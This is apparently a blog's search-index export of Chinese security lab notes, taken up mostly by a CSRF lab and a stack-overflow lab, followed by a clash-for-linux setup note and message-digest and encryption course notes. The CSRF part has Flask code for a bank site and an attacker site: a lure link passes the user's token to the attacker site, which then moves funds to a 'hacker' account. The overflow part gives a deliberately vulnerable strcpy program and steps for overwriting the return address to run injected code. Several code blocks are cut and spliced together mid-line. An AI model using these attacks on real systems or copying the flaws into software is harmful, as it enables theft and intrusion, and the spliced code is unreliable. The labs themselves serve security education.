检查转账目标用户是否存在 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (target_id,)) target = cursor.fetchone() if not target: return \u0026#34;目标账户不存在\u0026#34; # 检测当前账户是否有这么多钱 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user = cursor.fetchone() if user[3] \u0026lt; float(amount): return \u0026#34;余额不足\u0026#34; # 执行转账操作 cursor.fetchall() query = \u0026#34;UPDATE user SET balance = balance - %s WHERE id = %s\u0026#34; cursor.execute(query, (amount, user_id_cookie)) query = \u0026#34;UPDATE user SET balance = balance + %s WHERE id = %s\u0026#34; cursor.execute(query, (amount, target_id)) db.commit() # 更新账户信息，返回网站 cursor.fetchall() query = \u0026#34;SELECT * FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user = cursor.fetchone() return render_template(\u0026#39;home.html\u0026#39;, user_id=user[0], balance=user[3], user_token=user[2],transfer_success=True) if __name__ == \u0026#39;__main__\u0026#39;: app.run() webB\nimport mysql.connector from flask import Flask, request app = Flask(__name__) db = mysql.connector.connect( host=\u0026#34;localhost\u0026#34;, user=\u0026#34;root\u0026#34;, password=\u0026#34;111111\u0026#34;, database=\u0026#34;web-csrf\u0026#34; ) cursor = db.cursor() # 转账请求 @app.route(\u0026#39;/\u0026#39;) def csrf_attack(): user_id_cookie = request.args.get(\u0026#39;user_id\u0026#39;) user_token_cookie = request.args.get(\u0026#39;user_token\u0026#39;) if user_token_cookie or user_id_cookie: # 模拟服务器的验证操作，通过user_id_cookie查询对应的user_token，检查user_token_cookie是否与user_token相同，相同就允许执行转账操作 query = \u0026#34;SELECT cookie FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) user_token = cursor.fetchone()[0] if user_token == user_token_cookie: # 执行转账操作 cursor.fetchall() query = \u0026#34;UPDATE user SET balance = balance - 100 WHERE id = \u0026#39;user_id_cookie\u0026#39;\u0026#34; cursor.execute(query) query = \u0026#34;UPDATE user SET balance = balance + 100 WHERE id = \u0026#39;hacker\u0026#39;\u0026#34; cursor.execute(query) db.commit() return \u0026#34;\u0026lt;h1 style=\u0026#39;color: red; text-align: center; padding: 20px;\u0026#39;\u0026gt;CSRF攻击执行成功！\u0026lt;/h1\u0026gt;\u0026#34; else: print(\u0026#34;user_token:\u0026#34;, user_token) print(\u0026#34;user_token_cookie:\u0026#34;, user_token_cookie) return \u0026#34;Invalid user credentials\u0026#34; else:# login.html ```html \u0026lt;!-- login.html --\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;DoggyCoin用户登录\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;../static/style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;DoggyCoin用户登录\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/login\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;username\u0026#34;\u0026gt;用户名:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;username\u0026#34; name=\u0026#34;username\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;password\u0026#34;\u0026gt;密码:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;登录\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; home.html\n\u0026lt;!-- home.html --\u0026gt; \u0026lt;!DOCTYPE html\u0026gt;# \u0026lt;/div\u0026gt; \u0026lt;h1\u0026gt;欢迎访问DoggyCoin转账中心\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;账户余额: {{ balance }}\u0026lt;/h2\u0026gt; \u0026lt;script\u0026gt; // 检查是否存在转账成功的消息 var transferSuccess = \u0026#34;{{ transfer_success }}\u0026#34;; if (transferSuccess) { // 显示转账成功的消息提示框 alert(\u0026#34;转账成功！\u0026#34;); } \u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;/transfer\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;target_id\u0026#34;\u0026gt;转账ID:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;target_id\u0026#34; name=\u0026#34;target_id\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;label for=\u0026#34;amount\u0026#34;\u0026gt;转账金额:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;amount\u0026#34; name=\u0026#34;amount\u0026#34; required\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;确认转账\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;a href=\u0026#34;http://127.0.0.1:5001?user_id={{ user_id }}\u0026amp;user_token={{ user_token }}\u0026#34;\u0026gt;一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; style.css\n/* style.css */ body { background-color: #f2f2f2; font-family: Arial, sans-serif; } .container { display: flex; justify-content: space-between; align-items: center; padding: 10px; background-color: #fff; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } .logo { font-size: 24px; font-weight: bold; } .user-info { display: flex; align-items: center; } .user-info .username { margin-right: 10px; } .logout-link { margin: 0; display: flex; align-items: center; color: #4CAF50; text-decoration: none; } h1 { color: #333; text-align: center; } form { max-width: 400px; margin: 0 auto; padding: 20px; background-color: #fff; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } label { display: block; margin-bottom: 10px; font-weight: bold; } input[type=\u0026#34;text\u0026#34;], input[type=\u0026#34;password\u0026#34;] { width: 94%; padding: 10px; border: 1px solid #ccc; border-radius: 3px; } button { display: block; width: 100%; padding: 10px; margin-top: 10px; background-color: #4CAF50; color: #fff; border: none; border-radius: 3px; cursor: pointer; } h2 { margin-top: 20px; font-size: 18px; text-align: center; } a { display: block; text-align: cente# } ​\t当用户点击这个链接，就会带着在webA中的登录信息（cookie）去访问webB，构建这个webB的黑客就可以获取到用户B的cookie信息，并且向webA发送请求转账的请求，就可以绕过服务器的验证达到冒充用户去进行转账操作。\n实现难点 webA需要具备登录登出、转账、转账时需要token进行验证等必备功能；\nwebB需要具备使用用户的cookie数据向webA发送转账的请求，而不仅仅是在本地直接操作数据库实现修改数据；\n数据库中需要存放用户ID、用户密码、用户的cookie、账户余额等信息；\n对于cookie数据的保存、设计、更新策略。\n实验过程 数据库的设计 ​\t数据库中主要包含\u0026quot;id\u0026rdquo;, \u0026ldquo;pwd\u0026rdquo;, \u0026ldquo;cookie\u0026rdquo;, \u0026ldquo;balance\u0026quot;字段，id是他们的登陆账户名，pwd是登陆密码，cookie表示他们的用户安全令牌，当转账的时候需要进行验证，balance表示账户余额。通过数据生成出一批用户。\n​\t其中hacker代表黑客，其他的都是普通用户。\n验证webA功能的完整性 ​\twebA从服务器启动之后，运行在本地的5000端口上，进行访问之后会出现用户的登陆界面，输入在数据库中注册的用户名和密码进行登录。 ​\t登录成功之后会进入到DoggyCoin转账中心，在网站左上角显示当前的登陆用户名和退出登录返回登录页面的按钮，中间的form表单就是正常进行转账操作的地方，输入正确的转账ID和合法的转账金额之后就能够进行转账操作。\n​\t这里也简单的进行了一些对于非法输入的防护，以防止出现服务器内部错误。比如对于转账ID的是否存在，转账金额是否大于0，使用正则表达式匹配转账金额小数点的情况等等。\n进行CSRF漏洞的利用攻击。 ​\t当用户在登录webA的时候，服务器根据user1的id和登陆时间在后台生成一个md5摘要作为user1的cookie，存储在数据库中并且返回给user。\n​\t在webA上有一个诈骗链接，就是在转账表单下方的绿色链接“一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！”，这个就是模拟的一个网页上的弹窗或者是通过电子邮件等方式，诱使用户点击从当前网页转到另外一个网页上，该链接的HTML为：\n\u0026lt;a href=\u0026#34;http://127.0.0.1:5001?user_id={{ user_id }}\u0026amp;user_token={{ user_token }}\u0026#34;\u0026gt;一般人都不知道的DoggyCoin转账技巧！特殊转账技巧转一送一！\u0026lt;/a\u0026gt; ​\t当用户点击链接之后就会带着当前网站上的cookie信息去访问webB，而webB的后台就从这个链接中获取到用户的user_id和user_token信息，就可以进行转账的操作了，就自动地从当前用户向hacker账户中转账100\n​\twebB是运行在本地的5001端口上的，当直接访问127.0.0.1:5001的时候，由于没有进行user_id和user_token的转发，所以在webB上无法得到用户的信息，也就不能够进行CSRF攻击。\n防护策略 在防御CSRF（Cross-Site Request Forgery）攻击时，验证HTTP Referer字段是一种常见的方法之一。HTTP Referer字段用于指示请求的源头，即告诉服务器该请求是从哪个页面发起的。通过验证HTTP Referer字段，可以确保请求来源于预期的页面，从而减少CSRF攻击的风险。\n要实现验证HTTP Referer字段的防御措施，可以按照以下步骤进行：\n在服务器端验证：当服务器接收到请求时，首先检查HTTP头部中的Referer字段。该字段包含了请求的来源页面的URL。服务器可以通过比较Referer字段的值与预期的来源页面的URL进行验证。如果Referer字段的值与预期不符，服务器可以拒绝该请求。 验证来源页面的域名：为了增加安全性，可以进一步验证Referer字段中的来源页面域名。服务器可以检查Referer字段中的域名与当前请求的域名是否一致。这可以防止攻击者通过篡改Referer字段来绕过验证。 考虑Referer字段的可靠性：需要注意的是，Referer字段并非百分之百可靠，因为它可以被篡改或者被一些浏览器或代理程序禁用。因此，验证Referer字段应该作为综合的安全策略的一部分，而不是单一的依赖点。 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/csrf-attack/","summary":"简介 CSRF攻击利用了受害者已经通过身份验证并且在一个网站上建立的有效会话，来执行未经授权的操作。当受害者在一个网站上登录并获得一个会话（例如通过使用用户名和密码进行身份验证），该网站会为其分配一个令牌或会话ID，以便在后续的请求中验证用户的身份。\nCSRF攻击者会通过诱使受害者访问一个恶意网站或点击恶意链接，来利用受害者的已验证会话。由于受害者在浏览器中仍然保持着有效会话，攻击者可以构造特制的请求，以利用该会话来执行恶意操作，而这些操作是受害者并不知情或未经授权的。\n例如，假设受害者在银行网站上登录并建立了一个有效的会话。攻击者可以通过电子邮件或社交媒体发送一个包含恶意链接的消息给受害者。如果受害者点击了该链接，他们的浏览器将自动向银行网站发送一个请求，而这个请求中包含了受害者的有效会话信息。银行网站在验证会话时会认为这个请求是合法的，因为会话是有效的，所以它执行了该请求所代表的操作，如转账、修改账户信息等，而受害者是毫不知情的。\nCSRF攻击的目标是利用受害者的已验证会话来执行攻击者所期望的未经授权操作，从而导致受害者的损失或者对系统的安全产生威胁。\n补充知识 cookie 一般情况下，cookie是以键值对进行表示的(key-value)，例如name=jack，这个就表示cookie的名字是name，cookie携带的值是jack。\ncookie有2种存储方式，一种是会话性，一种是持久性。\n会话性：如果cookie为会话性，那么cookie仅会保存在客户端的内存中，当我们关闭客服端时cookie也就失效了 持久性：如果cookie为持久性，那么cookie会保存在用户的硬盘中，直至生存期结束或者用户主动将其销毁。\n组成 （1）cookie名称 （2）cookie值 （3）Expires：过期时间。当过了过期时间后，浏览器会将该cookie删除。如果不设置Expires，则关闭浏览器后该cookie失效。 （4）Path：用来设置在路径下面的页面才可以访问该cookie，一般设为/，以表示同一站点的所有页面都可以访问该cookie。 （5）Domain：用来指定哪些子域才可以访问cookie，格式一般为“.XXX.com” （6）Secure:如果设置了secure没有值，则代表只有使用HTTPS协议才可以访问 （7）HttpOnly：如果在cookie中设置了HttpOnly属性，那么通过JavaScript脚本等将无法读取到cookie信息。\nURL URL（统一资源定位符）的一般格式如下：\nscheme://host:port/path?query_parameters#fragment_identifier 具体解释如下：\nScheme（协议）：指定用于访问资源的协议，例如HTTP、HTTPS、FTP等。它是URL的开头部分，通常以双斜杠（//）结尾。 Host（主机）：指定目标资源所在的主机名或IP地址。主机名可以是域名（例如example.com）或IP地址（例如192.168.0.1）。 Port（端口）：指定用于访问目标资源的端口号（可选）。默认的端口号根据协议而不同，如HTTP默认端口是80，HTTPS默认端口是443。如果URL中没有指定端口，将使用默认端口。 Path（路径）：指定资源在服务器上的路径（可选）。路径部分是指服务器上资源的具体位置，可以是文件路径或目录路径。 Query Parameters（查询参数）：包含在URL中的键值对参数（可选）。查询参数通常用于向服务器传递额外的信息，多个参数之间使用\u0026quot;\u0026amp;\u0026ldquo;符号分隔。 Fragment Identifier（片段标识符）：用于标识文档中的特定片段（可选）。片段标识符通常由一个锚点或特定位置的标识符组成，用于在文档中导航到指定位置。 实验过程 使用Flask框架进行构建web应用。\n文件架构 ├── web-csrf/ │ ├── webA.py │ ├── webB.py │ ├── templates/ │ │ ├── home.html │ │ ├── login.html │ └── static/ │ └── style.css 源码 webA:\n# webA.py import hashlib import re import mysql.connector from flask import Flask, request, render_template, make_response app = Flask(__name__) db = mysql.","title":"CSRF攻击"},{"content":"实验程序源代码：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;windows.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define PASSWORD \u0026#34;1234567\u0026#34; int verify_password(char *password) { int authenticated; char buffer[44]; authenticated = strcmp(password, PASSWORD); strcpy(buffer, password); // over flowed here! return authenticated; } int main() { int valid_flag = 0; char password[1024];l FILE *fp; LoadLibrary(\u0026#34;user32.dll\u0026#34;); // prepare for messagebox if (!(fp = fopen(\u0026#34;password.txt\u0026#34;, \u0026#34;rw+\u0026#34;))) { exit(0); } fscanf(fp, \u0026#34;%s\u0026#34;, password); valid_flag = verify_password(password); if (valid_flag) { printf(\u0026#34;incorrect password!\\n\u0026#34;); } else { printf(\u0026#34;Congratulation! You have passed the verification!\\n\u0026#34;); } fclose(fp); system(\u0026#34;pause\u0026#34;);l return 0; } 在这个实验中，将buffer数组的大小扩大到了44个字节。\n大致步骤：\n（1）分析并调试漏洞程序，获得淹没返回地址的偏移。 （2）获得buffer 的起始地址，并将其写入password.txt 的相应偏移处，用来冲刷返回地址。 （3）向password.txt 中写入可执行的机器代码，用来调用API 弹出一个消息框。\n第一步：调试栈的布局 ​\t调试漏洞程序，在password.txt根据buffer数组的大小编写11个4321，刚好到达buffer数组末尾。\n​\t第12 个输入单元将authenticated 覆盖；第13 个输入单元将前栈帧EBP 值覆盖；第14 个输入单元将返回地址覆盖。\n​\t在ollydbg中调试exe文件之后，在堆栈区中搜索4321相关字符串内容，就能够找到他的地址开始分析。\n​\t找到buffer数组的地址为0x0019FB30，作为之后的覆盖的返回地址，在buffer数组中存入植入代码。在上面的截图可以看到0019FB5C中的内容最后的两位为00，这里其实就是authenticated的内容，00是上面的字符串最后的结束符NULL的ASCII码。本来strcmp()函数在遇到不相等的时候返回到是一个非0的数，只有当匹配成功的时候才返回0，这里就是被溢出修改了。\n按照理论来说，后面三个字节的地址应该为authenticated, EBP, 返回地址的地址。\n第二步：查找MessageBoxA的入口地址 获得user32.dll的加载基址，以此加上MessageBoxA的文件偏移量来计算MessageBoxA的入口地址。\n使用Process Explore找到了user32.dll的加载地址：0x00007FF8C0D80000（其实不是这个，往后面看）\n在64位系统中查看MessageBoxA的偏移地址：\n在C:\\Windows\\system32目录下使用dumpbin命令来查看user32.dll文件的导出表：dumpbin /exports user32.dll 在导出表中查找MessageBoxA函数，RVA为0x00078A40 所以MessageBoxA的入口为：0x00007FF8C0D80000 + 0x00078A40 = 0x00007FF8C0DF8A40。这里有些不太正确的地方，因为程序本身是32位的程序，所以这个user32.dll的基址不应该是这个。\n在64位系统上运行32位程序需要使用WoW64子系统，该子系统允许在64位操作系统中运行32位应用程序。要在WoW64中调用user32.dll模块中的MessageBoxA函数，需要使用32位版本的user32.dll模块。\n然后我又用Process Explore重新查找了C:\\Windows\\SysWOW64下面的user32.dll的基址和RVA\n32-bit的user32.dll加载基址为：0x0000000075230000，偏移地址还是和64-bit版本一样的为：0x00078A40，所以MessageBoxA在这个32位程序中的入口地址为：0x0000000075230000 + 0x00078A40 = 0x00000000752A8A40。\n0x00000000764C0000\n在32位程序中将0x752A8A40作为MessageBoxA函数的入口点地址来调用该函数。\n第三步：编写16进制的API函数 16进制可执行代码和对应的汇编码：\nimg src=\u0026ldquo;https://raw.githubusercontent.com/sirius2alpha/Typora-pics/master/2023/04/upgit_20230426_1682518982.png\u0026quot; alt=\u0026ldquo;image-20230426222300604\u0026rdquo; style=\u0026ldquo;zoom: 67%;\u0026rdquo; /\u0026gt;\n这4位是填写MessageBoxA的入口地址\n最后4位是buffer数组的入口地址\n更改弹出窗口的文字为Cracked!，找到对应的ASCII码，68是PUSH指令\n最后完成的截图\n注：重启完电脑之后好像user32.dll的基址可能会发生变更，需要使用Process Explore查看，并与偏移量进行计算，重新得到加载地址，password.txt中需要更改的位置为第二行中FF前面四位。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/stack_overflow-attack/","summary":"实验程序源代码：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;windows.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define PASSWORD \u0026#34;1234567\u0026#34; int verify_password(char *password) { int authenticated; char buffer[44]; authenticated = strcmp(password, PASSWORD); strcpy(buffer, password); // over flowed here! return authenticated; } int main() { int valid_flag = 0; char password[1024];l FILE *fp; LoadLibrary(\u0026#34;user32.dll\u0026#34;); // prepare for messagebox if (!(fp = fopen(\u0026#34;password.txt\u0026#34;, \u0026#34;rw+\u0026#34;))) { exit(0); } fscanf(fp, \u0026#34;%s\u0026#34;, password); valid_flag = verify_password(password); if (valid_flag) { printf(\u0026#34;incorrect password!\\n\u0026#34;); } else { printf(\u0026#34;Congratulation!","title":"栈溢出攻击"},{"content":"问题来源 之前在ubuntu 22.04一直用的是cfw，但是偶尔会触发开机的时候cfw没有正确加载，然后就上不了网\u0026hellip;点Quit还退不了。所以还是重新装一个命令行版本的吧，至少命令行重启还方便一点。\n安装clash-for-linux 之前的github上面源项目挂了，找到一个备用的项目：https://github.com/Elegycloud/clash-for-linux-backup\n克隆到本地之后按照项目的指南跑起来就行。\n其他碎碎念 可以把项目中的/etc/profile.d/clash.sh的内容复制到~/.bashrc中来，然后再source一下，不然每次都要source那个位置。在命令行中proxy_on和proxy_off还是很方便的~\n感觉这个dashboard：https://clash.razord.top/#/proxies 比 yacd更好用一点，直接配置就好\n可以把clash-for-linux添加到/etc/systemd/system/clash.service，执行程序就填/path-to-clash-for-linux-backup/bin/clash-linux-amd64 -d /path-to-clash-for-linux-backup/conf，然后就能通过systemctl进行管理啦^_^\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/clash-for-linux/","summary":"问题来源 之前在ubuntu 22.04一直用的是cfw，但是偶尔会触发开机的时候cfw没有正确加载，然后就上不了网\u0026hellip;点Quit还退不了。所以还是重新装一个命令行版本的吧，至少命令行重启还方便一点。\n安装clash-for-linux 之前的github上面源项目挂了，找到一个备用的项目：https://github.com/Elegycloud/clash-for-linux-backup\n克隆到本地之后按照项目的指南跑起来就行。\n其他碎碎念 可以把项目中的/etc/profile.d/clash.sh的内容复制到~/.bashrc中来，然后再source一下，不然每次都要source那个位置。在命令行中proxy_on和proxy_off还是很方便的~\n感觉这个dashboard：https://clash.razord.top/#/proxies 比 yacd更好用一点，直接配置就好\n可以把clash-for-linux添加到/etc/systemd/system/clash.service，执行程序就填/path-to-clash-for-linux-backup/bin/clash-linux-amd64 -d /path-to-clash-for-linux-backup/conf，然后就能通过systemctl进行管理啦^_^","title":"Ubuntu22.04 配置clash-for-linux"},{"content":"任务 采用Java/Python语言编写一个较为完整的加密与认证程序，要求具有：\n具有较完整的图形化界面； 使用MD5、SHA系列算法，实现消息摘要，确保消息的完整性； 使用DES、AES等算法实现对称加密，确保消息的机密性； 使用RSA算法，实现公钥加密，且用私钥解密，比较不对称加密和对称加密的性能； 实现基于数字证书的数字签名和验证（含证书的生成和创建）； 消息摘要 消息摘要的作用 在网络安全目标中，要求信息在生成、存储或传输过程中保证不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失，因此需要一个较为安全的标准和算法，以保证数据的完整性。\n常见的消息摘要算法有： Ron Rivest设计的MD（Standard For Message Digest，消息摘要标准）算法 NIST设计的SHA（Secure Hash Algorithm，安全散列算法）\n单向散列函数 特点 不定长的输入和定长的输出；\n对于及其微小的变化，如1bit的变化，器哈希函数所产生的值也差异巨大；\n对于不同的原像都有不同的映像，从散列值不可能推导出消息M ，也很难通过伪造消息M’来生成相同的散列值。\nHash函数的值称为作为自变量的消息的“散列值”或“消息摘要”、“数字指纹”\n哈希函数的分类 根据安全水平 弱无碰撞 强无碰撞 ​\t注：强无碰撞自然含弱无碰撞！\n根据是否使用密钥 带秘密密钥的Hash函数：消息的散列值由只有通信双方知道的秘密密钥K来控制，此时散列值称作MAC(Message Authentication Code) 不带秘密密钥的Hash函数：消息的散列值的产生无需使用密钥，此时散列值称作MDC(Message Detection Code) 哈希函数的应用 由Hash函数产生消息的散列值 以消息的散列值来判别消息的完整性 用加密消息的散列值来产生数字签名 用口令的散列值来安全存储口令（认证系统中的口令列表中仅存储口令的Hash函数值，以避免口令被窃取。认证时用输入口令的Hash函数值与其比较） 安全哈希函数的实现 输入数据分成L个长度固定为r的分组：M=(M1,M2,…,ML) 末组附加消息的长度值并通过填充凑足r位 压缩函数 f使用n位的链接变量Hi ,其初值H0=IV可任意指定 压缩函数 f的最后n位输出HL取作散列值 哈希函数：生日攻击 当哈希函数的输入位数太短的时候，就容易产生哈希碰撞，即出现两个原像对应用一个映像的问题。\n生日问题 一个教室中至少有几个学生才能使有两个学生生日相同的概率不小于1/2； 等价于“球匣问题” 设J个球随机扔进N个匣子，存在一个匣子中至少有两个球的概率为p，则可以推导出: J2≈-2Nln(1-p)或 p≈ 1-e-J2/2/N 答案 将365个生日看作N=365个匣子，将学生看作球，p=0.5，则由上式可算出J≈23，即23个学生中有两个学生生日相同的概率不小于1/2；\n生日攻击实例：\n​\t假设张三承诺支付李四100万，约定由李四负责起草合同，并通过8位的散列码H(M)实施信息认证。聪明而无德的李四先起草一个100万的版本，并通过变化其中3个无关紧要之处以得到23=8个不同的消息明文并计算它们的H(M)，形成集合A；然后再起草一个200万的版本，用同样方法又得到23=8 个不同的消息明文及其H(M)，形成集合B。 ​\t由生日问题知：24个8位比特串中发生碰撞的概率不小于1/2，故在A和B共24 =16个H(M)中有可能存在相同的一对，并极有可能一个在A中而另一个在B中。假设与它们对应的明文为MA （100万版） 和MB （200万版） 。于是李四用MA让张三签署并公证，而在传送时偷偷地用MB替代MA 。由于H(MA)= H(MB)，故张三确信签署的文件未被篡改。当李四要求张三支付200万时，法院根据MB判李四胜诉，而张三因此损失100万。\nMD5算法 Merkle于1989年提出hash function模型 Ron Rivest于1990年提出MD4 1992年， Ron Rivest提出MD5（RFC 1321） 在最近数年之前，MD5是最主要的hash算法 现行美国标准SHA-1以MD5的前身MD4为基础\n输入：任意长度消息 输出：128bit消息摘要（16字节编码，32字符） 处理：以512bit输入数据块为单位\nSHA安全散列算法 1992年NIST制定了SHA（128位） 1993年SHA成为标准（FIPS PUB 180） 1994年修改产生SHA-1（160位） 1995年SHA-1成为新的标准，作为SHA-1（FIPS PUB 180-1/RFC 3174），为兼容AES的安全性，NIST发布FIPS PUB 180-2，标准化SHA-256， SHA-384和SHA-512\n输入：消息长度\u0026lt;264 输出：160bit消息摘要 处理：以512bit输入数据块为单位 基础是MD4\nSHA算法的拓展 SHA-256 摘要大小由SHA-1的160位扩大到256位 SHA-384 消息大小由SHA-1的264位扩大到2128位 分组大小由SHA-1的512位扩大到1024位 字长由SHA-1的32位（双字）扩大到64位（4字） 摘要大小由SHA-1的160位扩大到384位 SHA-512 摘要大小由SHA-384的384位扩大到512位\n息摘要的安全隐患 隐患：无法完全阻止数据的修改。\n如果在数据传递过程中，窃取者将数据窃取出来，并且修改数据，再重新生成一次摘要，将改后的数据和重新计算的摘要发送给接收者，接收者利用算法对修改过的数据进行验证时，生成的消息摘要和收到的消息摘要仍然相同，消息被判断为“没有被修改”。\n做法：除了需要知道消息和消息摘要之外，还需要知道发送者身份\u0026mdash;消息验证码。\n消息认证 用于对抗信息主动攻击之一：消息伪造或篡改 目的之一：验证信息来源的真实性 目的之二：验证信息的完整性\n消息认证的模型\n消息认证的方式\n加密认证──用消息的密文本身充当认证信息 消息加密的认证；私钥加密公钥解密；公钥私钥双重加解密 消息认证码MAC(Message Authentication Code)──由以消息和密钥作为输入的公开函数产生的认证信息 简单MAC认证；基于明文认证；基于密文认证 散列值──由以消息作为唯一输入的散列函数产生的认证信息（无需密钥） 6种常用的方式 消息验证码的局限性\n消息验证码可以保护信息交换双方不受第三方的攻击，但是它不能处理通信双方的相互攻击 信宿方可以伪造消息并称消息发自信源方，信源方产生一条消息，并用和信宿方共享的密钥产生认证码，并将认证码附于消息之后 信源方可以否认曾发送过某消息，因为信宿方可以伪造消息，所以无法证明信源方确实发送过该消息\n在收发双方不能完全信任的情况下，引入数字签名来解决上述问题\n基于消息加密的认证 用对称密码体制进行加密认证 过程──用同一密钥加密、解密消息 作用──认证+保密 原理──攻击者无法通过改变密文来产生所期望的明文变化 特点──接收方需要判别消息本身的逻辑性或合法性。“我请你吃饭”被乱改成“我请你謯斸” 对称加密实现：AES算法 # AES对称加密 password = b\u0026#39;1234567812345678\u0026#39; # 秘钥，b就是表示为bytes类型 text = b\u0026#39;abcdefghijklmnhi\u0026#39; # 需要加密的内容，bytes类型 aes = AES.new(password, AES.MODE_ECB) # 创建一个aes对象 # AES.MODE_ECB 表示模式是ECB模式 en_text = aes.encrypt(text) # 加密明文 print(\u0026#34;密文：\u0026#34;, en_text) # 加密明文，bytes类型 den_text = aes.decrypt(en_text) # 解密密文 print(\u0026#34;明文：\u0026#34;, den_text) 私钥加密，公钥解密 过程──发送者用自己的私钥加密明文、接收者用发送者的公钥解密密文 作用──认证及签名，但不保密 原理──因不知发送者的私钥，故其他人无法产生密文或伪造签名 ​\t注意：若用公钥加密、私钥解密，则无法起到认证的作用。因为知道公钥的人都可以通过产生伪造的密文来篡改消息。\n​\t私钥加密，公钥解密，只有私钥的拥有者才能加密，适用于数字签名，用于验证身份。\n​\t公钥加密，私钥解密，保证了消息的传送的保密性\n​\t两者都是不对成加密\n​\t混合加密是将**共享密钥加密（对称加密）和公开密钥加密（不对称加密）**结合起来的加密方式。\n公开密钥算法实现：RSA算法 用私钥、公钥双重加密、解密 过程──发送者先用自己的私钥加密明文，再用接收者的公钥加密一次；接收者先用自己的私钥解密密文，再用发送者的公钥解密一次 作用──认证、签名，且保密 原理──认证、签名由发送者的私钥加密实现；保密性由接收者的公钥加密保证 消息验证码MAC 计算消息验证码的常用算法有HMAC算法\n产生──发送者以消息M和与接收者共享的密钥K为输入，通过某公开函数C进行加密运算得到MAC 传送并接收──M+MAC 认证──接收者以接收到的M和共享密钥K为输入，用C（公开函数）重新加密算得MAC’ ，若MAC’=MAC，则可确信M未被篡改 作用──认证，但不保密 消息验证码和MD5/SHA1算法不同的地方\n在生成摘要时，发送者和接收者都拥有一个共同的密钥。 该密钥可以是通过对称密码体系生成的，事先被双方共有，在生成消息验证码时，还必须要有密钥的参与。 只有同样的密钥才能生成同样的消息验证码。 基于散列值的认证 1、对附加了散列值的消息实施对称加密，得到并发送Ek(M+H(M)) 认证+保密 2、仅对散列值实施对称加密，得到Ek(H(M))，并与M一起发送 认证+不保密 3、对散列值实施私钥加密，得到EKRa(H(M))并与M一起发送 认证+签名，不保密\n4、将消息与用私钥加密后的散列值一起再用共享密钥加密，最后得到Ek(M+EKRa(H(M)))并发送 认证+签名+保密 5、将消息串接一个由通信各方共享的密值S后计算散列值，得到H(M+S)并与M一起发送 认证，不保密 6、先将消息串接一个由通信各方共享的密值S后计算散列值，再将它与消息M一起用共享密钥加密，最后得到Ek(M+H(M+S))并发送 认证+保密\n数字签名 数字签名的概念和作用 数字签名的特点 数字签名必须具有下述特征 收方能够确认或证实发方的签名，但不能伪造，简记为R1-条件（unforgeable） 发方发出签名的消息给收方后，就不能再否认他所签发的消息，简记为S-条件(non-repudiation) 收方对已收到的签名消息不能否认，即有收报认证，简记作R2-条件 第三者可以确认收发双方之间的消息传送，但不能伪造这一过程，简记作T-条件\n数字签名与消息认证的区别 数字签名分类与常用算法 根据签名的内容分\n对整体消息的签名 对压缩消息的签名 按明、密文的对应关系划分\n确定性(Deterministic)数字签名，其明文与密文一一对应，它对一特定消息的签名不变化，如RSA、Rabin等签名； 随机化的(Randomized)或概率式数字签名 